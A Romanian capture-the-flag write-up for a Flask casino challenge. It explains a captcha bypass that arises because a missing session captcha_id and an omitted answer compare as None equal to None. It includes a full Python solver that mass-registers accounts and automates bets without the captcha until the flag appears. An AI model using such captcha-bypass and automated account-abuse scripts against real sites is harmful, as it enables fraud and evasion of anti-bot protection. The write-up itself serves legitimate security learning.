Clanker casino

Un logic bug in validarea captcha (None != None) permite captcha bypass. Cu o strategie all-in de 8 pariuri la rand ajungem la 200 coins si flag.

Sumar

Challenge-ul este un web app Flask cu register, login si un coin flip game.

Ca sa vezi flag-ul trebuie sa ajungi la minimum 200 coins. Aplicatia foloseste captcha la endpoint-ul POST /game, dar validarea are un logic bug. In cod, user_answer si correct_answer pot fi ambele None, iar comparatia user_answer != correct_answer trece.

Asta permite captcha bypass daca trimiti request fara captcha_answer intr-o sesiune unde captcha_id lipseste. Exploit-ul corect este: register fara follow redirect, apoi POST /game direct, fara captcha field. Cu all-in strategy pe bet sequence 1,2,4,8,16,32,64,128 ai nevoie de 8 wins la rand. Probabilitatea per attempt este 1/256, deci merge rapid cu brute force pe conturi noi in parallel.

Dovada rezolvarii

Vulnerabilitatea se afla la captcha validation flow. Pe POST /game, backend-ul citeste user_answer din form, captcha_id din session si correct_answer din dict, iar check-ul este doar if user_answer != correct_answer:.

Bug logic:

  • Daca nu exista captcha_id in session => captcha_id = None
  • captcha_storage.get(None) => correct_answer = None
  • Daca noi omitem captcha_answer din POST => user_answer = None
  • Comparatia devine None != None => False, deci captcha check trece (captcha bypass)

Exploit chain:

  • POST /register cu allow_redirects=False
  • Suntem logati, dar nu avem captcha init state in session
  • POST /game cu payload doar bet=... (fara captcha_answer)
  • Captcha bypass
  • Repetam bets all-in: 1,2,4,8,16,32,64,128
  • 8 wins la rand = 200 coins => flag
import argparse
import re
import secrets

import requests

BETS = [1, 2, 4, 8, 16, 32, 64, 128]
FLAG_RE = re.compile(r"(?:CTF|FLAG)\{[^}\n]+\}")


def attempt_once(base_url: str, timeout: float) -> str | None:
    s = requests.Session()
    username = f"u_{secrets.token_hex(6)}"
    password = secrets.token_hex(10)

    # Important: do not follow redirect to /game,
    # so captcha_id is never initialized in session.
    reg = s.post(
        f"{base_url}/register",
        data={"username": username, "password": password},
        allow_redirects=False,
        timeout=timeout,
    )
    if reg.status_code not in (302, 303):
        return None

    # Captcha bypass: send only bet, omit captcha_answer.
    for bet in BETS:
        s.post(
            f"{base_url}/game",
            data={"bet": str(bet)},
            allow_redirects=False,
            timeout=timeout,
        )

    html = s.get(f"{base_url}/game", timeout=timeout).text
    m = FLAG_RE.search(html)
    return m.group(0) if m else None


def main() -> int:
    parser = argparse.ArgumentParser(description="Minimal Clanker Casino solver")
    parser.add_argument("--url", required=True, help="Target URL, ex: http://host:port")
    parser.add_argument("--max-attempts", type=int, default=4000)
    parser.add_argument("--timeout", type=float, default=5.0)
    args = parser.parse_args()

    base_url = args.url.rstrip("/")
    print(f"[*] Target: {base_url}")

    for i in range(1, args.max_attempts + 1):
        try:
            flag = attempt_once(base_url, args.timeout)
        except requests.RequestException:
            continue

        if flag:
            print(f"[+] Flag found on attempt {i}: {flag}")
            return 0

        if i % 100 == 0:
            print(f"[*] Attempts: {i}")

    print("[-] Flag not found. Increase --max-attempts and retry.")
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Rularea gaseste flag-ul:

Solver-ul gaseste flag-ul

Flag: CTF{954eab9fa51e0aeecd2bab944f60ee15af0a064d97651719752865208c28bc24}